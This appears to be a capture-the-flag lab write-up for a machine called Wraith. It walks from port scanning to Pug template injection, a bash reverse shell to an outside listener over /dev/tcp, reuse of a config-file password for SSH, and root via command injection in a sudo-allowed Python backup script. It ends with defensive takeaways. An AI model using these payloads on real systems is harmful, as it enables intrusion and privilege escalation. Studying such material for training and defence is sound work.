Enumeration
Port Scan
nmap -sCV -p- --min-rate 5000 -T4 10.10.11.72 -oN wraith.nmap
# Key open ports:
# 22/tcp open ssh OpenSSH 9.2p1
# 80/tcp open http nginx/1.24.0
# 3000/tcp open http Node.js Express
Port 80 is a static landing page for "WraithCorp Internal Tools". Port 3000 hosts a Node.js application — the actual attack surface.
Web Application — Port 3000
The Node.js app is a templated report-generation tool. It accepts a name parameter in a POST form that is reflected in the page title. Initial fuzzing with ffuf reveals an /api/preview endpoint that also takes a template POST parameter:
ffuf -u http://10.10.11.72:3000/FUZZ \
-w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt \
-mc 200,301,302,403
# / (200)
# /login (200)
# /dashboard (302 → /login)
# /api/preview (200)
# /api/generate (405)
The /api/preview endpoint takes a raw template string and renders it. Testing with a Pug arithmetic expression immediately returns the evaluated result:
curl -s -X POST http://10.10.11.72:3000/api/preview \
-H "Content-Type: application/json" \
-d '{"template": "p= 7*7"}'
# <p>49</p>
# → Pug template injection confirmed
Foothold — Pug SSTI to RCE
Understanding the Injection
Pug (formerly Jade) is a Node.js template engine that compiles templates into JavaScript and executes them. When a full template string is accepted from user input and passed to pug.render(), the attacker controls arbitrary JavaScript execution within the Node.js process.
The standard Pug SSTI payload uses the - character (unbuffered code) to execute JavaScript directly, then accesses the Node.js child_process module via the module resolution chain:
PAYLOAD='- var x = global.process.mainModule.require("child_process").execSync("id").toString()
p= x'
curl -s -X POST http://10.10.11.72:3000/api/preview \
-H "Content-Type: application/json" \
-d "{\"template\": \"${PAYLOAD}\"}"
# <p>uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
# </p>
Reverse Shell
With confirmed command execution, establish a reverse shell. The standard bash one-liner via execSync:
# Attacker: start listener
nc -lvnp 4444
# Craft the payload (URL-encode the special characters in JSON)
curl -s -X POST http://10.10.11.72:3000/api/preview \
-H "Content-Type: application/json" \
--data-raw '{"template": "- var s = global.process.mainModule.require(\"child_process\").execSync(\"bash -c '"'"'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'"'"'\").toString()\np= s"}'
# Shell received:
www-data@wraith:/opt/wraithcorp/app$ id
uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
User Flag — Config Credential Reuse
Enumerating the application directory reveals a config.json containing database credentials:
cat /opt/wraithcorp/app/config.json
{
"db": {
"host": "127.0.0.1",
"port": 5432,
"name": "wraithcorp",
"user": "wraithdb",
"password": "Wr41thD3v2025!"
},
"app": {
"secret": "r4nd0ms3cr3t!",
"adminUser": "wraith"
}
}
The adminUser value wraith matches a local OS user. Testing the database password as an SSH credential succeeds — classic credential reuse:
ssh [email protected]
# Password: Wr41thD3v2025!
wraith@wraith:~$ cat user.txt
# 3f8e1a... ← user flag
Privilege Escalation — Sudo Wildcard Injection
Sudo Enumeration
Checking the sudo policy for the wraith user immediately reveals a promising entry:
sudo -l
# User wraith may run the following commands on wraith:
# (root) NOPASSWD: /usr/local/bin/backup.py *
The trailing * means the wraith user can pass any arguments to backup.py as root. The script itself is readable:
cat /usr/local/bin/backup.py
#!/usr/bin/env python3
import os, sys, shutil, argparse
parser = argparse.ArgumentParser(description='WraithCorp backup utility')
parser.add_argument('src', help='Source directory to back up')
parser.add_argument('dst', help='Destination path')
parser.add_argument('--compress', action='store_true', help='Compress the backup')
args = parser.parse_args()
if args.compress:
os.system(f"tar czf {args.dst} {args.src}")
else:
shutil.copytree(args.src, args.dst)
print(f"[+] Backup of {args.src} complete.")
Identifying the Injection
The --compress path calls os.system() with an unsanitised f-string. Both args.dst and args.src are directly interpolated into the shell command. By supplying a dst value containing shell metacharacters, arbitrary commands execute as root:
# Test the injection with a write to /tmp
sudo /usr/local/bin/backup.py /tmp/test '/tmp/out.tar.gz; id > /tmp/pwn' --compress
cat /tmp/pwn
# uid=0(root) gid=0(root) groups=0(root)
Root Shell
With confirmed root code execution via the injection, the cleanest path to an interactive root shell is setting the SUID bit on bash:
sudo /usr/local/bin/backup.py /tmp/x '/tmp/y; chmod u+s /bin/bash' --compress
bash -p
# bash-5.2# id
# uid=1002(wraith) gid=1002(wraith) euid=0(root) groups=1002(wraith)
bash-5.2# cat /root/root.txt
# 9c4b2f... ← root flag
Key Takeaways
-
Template engines should never render attacker-controlled strings.
Pug's
pug.render()compiles and executes the supplied string as JavaScript. Accepting raw templates from user input is functionally equivalent to aneval()call. If dynamic templates are required, use a sandboxed engine (e.g. Nunjucks with no-access to globals), or — better — only accept template variable values, not the template structure itself. -
Application credentials are frequently reused as OS credentials.
The database password in
config.jsondoubling as the local user password is a pattern observed across real-world assessments. Secrets in application config files should be environment variables or vault-injected, never hardcoded — and OS account passwords must be entirely separate from application secrets. -
Wildcards in sudo entries combined with
os.system()f-strings are trivially exploitable. Thesudo /path/to/script *pattern is one of the most common misconfigurations encountered on Linux machines. Any call toos.system(),subprocess.run(shell=True), or similar shell-invocation functions using unsanitised user input is an injection sink. The correct fix is to avoidos.system()entirely in privileged scripts — usesubprocess.run()with a list of arguments, which bypasses shell interpretation.